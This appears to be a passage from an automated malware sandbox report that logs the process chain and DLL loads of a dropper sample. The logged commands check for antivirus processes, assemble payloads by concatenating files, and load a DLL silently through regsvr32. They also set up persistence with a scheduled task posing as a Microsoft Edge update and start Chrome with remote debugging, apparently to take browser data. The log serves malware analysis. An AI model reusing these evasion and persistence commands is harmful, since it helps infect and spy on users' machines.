Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe "C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe"
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Investor Investor.cmd & Investor.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 36469
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Geographic
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "TEAMS" Mw
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 36469\Avoiding.com + Hood + Centered + Collectors + Visual + Additionally + Celebration + Flesh + Ventures + Waters 36469\Avoiding.com
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Characterized + ..\Entries + ..\Arbitration + ..\Put + ..\Comics + ..\Japanese L
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com Avoiding.com L
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe "C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe "C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1062804001\8b5cf17642.exe "C:\Users\user\AppData\Local\Temp\1062804001\8b5cf17642.exe"
Source: C:\Users\user\AppData\Local\Temp\1062804001\8b5cf17642.exe	Process created: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp "C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp" /SL5="$8046A,1104885,161792,C:\Users\user\AppData\Local\Temp\1062804001\8b5cf17642.exe"
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Turner Turner.cmd & Turner.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	Process created: C:\Users\user\AppData\Local\Temp\1062804001\8b5cf17642.exe "C:\Users\user\AppData\Local\Temp\1062804001\8b5cf17642.exe" /VERYSILENT
Source: C:\Users\user\AppData\Local\Temp\1062804001\8b5cf17642.exe	Process created: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp "C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp" /SL5="$B0220,1104885,161792,C:\Users\user\AppData\Local\Temp\1062804001\8b5cf17642.exe" /VERYSILENT
Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	Process created: C:\Windows\SysWOW64\regsvr32.exe "regsvr32.exe" /s /i:SYNC "C:\Users\user\AppData\Roaming\\uxtheme_2.drv"
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe /s /i:SYNC "C:\Users\user\AppData\Roaming\\uxtheme_2.drv"
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command "if (Get-ScheduledTask \| Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:SYNC C:\Users\user\AppData\Roaming\uxtheme_2.drv' }) { exit 0 } else { exit 1 }"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 764661
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Fm
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "Tunnel" Addresses
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 764661\Macromedia.com + Totally + York + Drunk + Baghdad + Benz + Glasses + Pac + Tender + Racing + Deluxe + Derived 764661\Macromedia.com
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Complement + ..\Soundtrack + ..\Plumbing + ..\Hills F
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\764661\Macromedia.com Macromedia.com F
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 15
Source: C:\Users\user\AppData\Local\Temp\764661\Macromedia.com	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "AchillesGuard" /tr "wscript //B 'C:\Users\user\AppData\Local\GuardTech Solutions\AchillesGuard.js'" /sc onlogon /F /RL HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/S /i:SYNC C:\Users\user\AppData\Roaming\uxtheme_2.drv\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{6D027233-3291-42EE-96A1-B6EF95549711}' -Description 'MicrosoftEdgeUpdateTaskMachineUA' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0) -RunLevel Highest"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\GuardTech Solutions\AchillesGuard.js"
Source: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: unknown	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.EXE /S /i:SYNC C:\Users\user\AppData\Roaming\uxtheme_2.drv
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2452 --field-trial-handle=2340,i,15117777024686989207,10690682005132199105,262144 /prefetch:8
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Process created: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe "C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe "C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe "C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe "C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1062804001\8b5cf17642.exe "C:\Users\user\AppData\Local\Temp\1062804001\8b5cf17642.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Investor Investor.cmd & Investor.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 36469	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Geographic	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "TEAMS" Mw	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 36469\Avoiding.com + Hood + Centered + Collectors + Visual + Additionally + Celebration + Flesh + Ventures + Waters 36469\Avoiding.com	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Characterized + ..\Entries + ..\Arbitration + ..\Put + ..\Comics + ..\Japanese L	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com Avoiding.com L	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Turner Turner.cmd & Turner.cmd
Source: C:\Users\user\AppData\Local\Temp\1062804001\8b5cf17642.exe	Process created: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp "C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp" /SL5="$8046A,1104885,161792,C:\Users\user\AppData\Local\Temp\1062804001\8b5cf17642.exe"
Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	Process created: C:\Users\user\AppData\Local\Temp\1062804001\8b5cf17642.exe "C:\Users\user\AppData\Local\Temp\1062804001\8b5cf17642.exe" /VERYSILENT
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 764661
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Fm
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "Tunnel" Addresses
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 764661\Macromedia.com + Totally + York + Drunk + Baghdad + Benz + Glasses + Pac + Tender + Racing + Deluxe + Derived 764661\Macromedia.com
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Complement + ..\Soundtrack + ..\Plumbing + ..\Hills F
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\764661\Macromedia.com Macromedia.com F
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 15
Source: C:\Users\user\AppData\Local\Temp\1062804001\8b5cf17642.exe	Process created: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp "C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp" /SL5="$B0220,1104885,161792,C:\Users\user\AppData\Local\Temp\1062804001\8b5cf17642.exe" /VERYSILENT
Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	Process created: C:\Windows\SysWOW64\regsvr32.exe "regsvr32.exe" /s /i:SYNC "C:\Users\user\AppData\Roaming\\uxtheme_2.drv"
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe /s /i:SYNC "C:\Users\user\AppData\Roaming\\uxtheme_2.drv"
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command "if (Get-ScheduledTask \| Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:SYNC C:\Users\user\AppData\Roaming\uxtheme_2.drv' }) { exit 0 } else { exit 1 }"
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/S /i:SYNC C:\Users\user\AppData\Roaming\uxtheme_2.drv\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{6D027233-3291-42EE-96A1-B6EF95549711}' -Description 'MicrosoftEdgeUpdateTaskMachineUA' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0) -RunLevel Highest"
Source: C:\Users\user\AppData\Local\Temp\764661\Macromedia.com	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "AchillesGuard" /tr "wscript //B 'C:\Users\user\AppData\Local\GuardTech Solutions\AchillesGuard.js'" /sc onlogon /F /RL HIGHEST
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2452 --field-trial-handle=2340,i,15117777024686989207,10690682005132199105,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
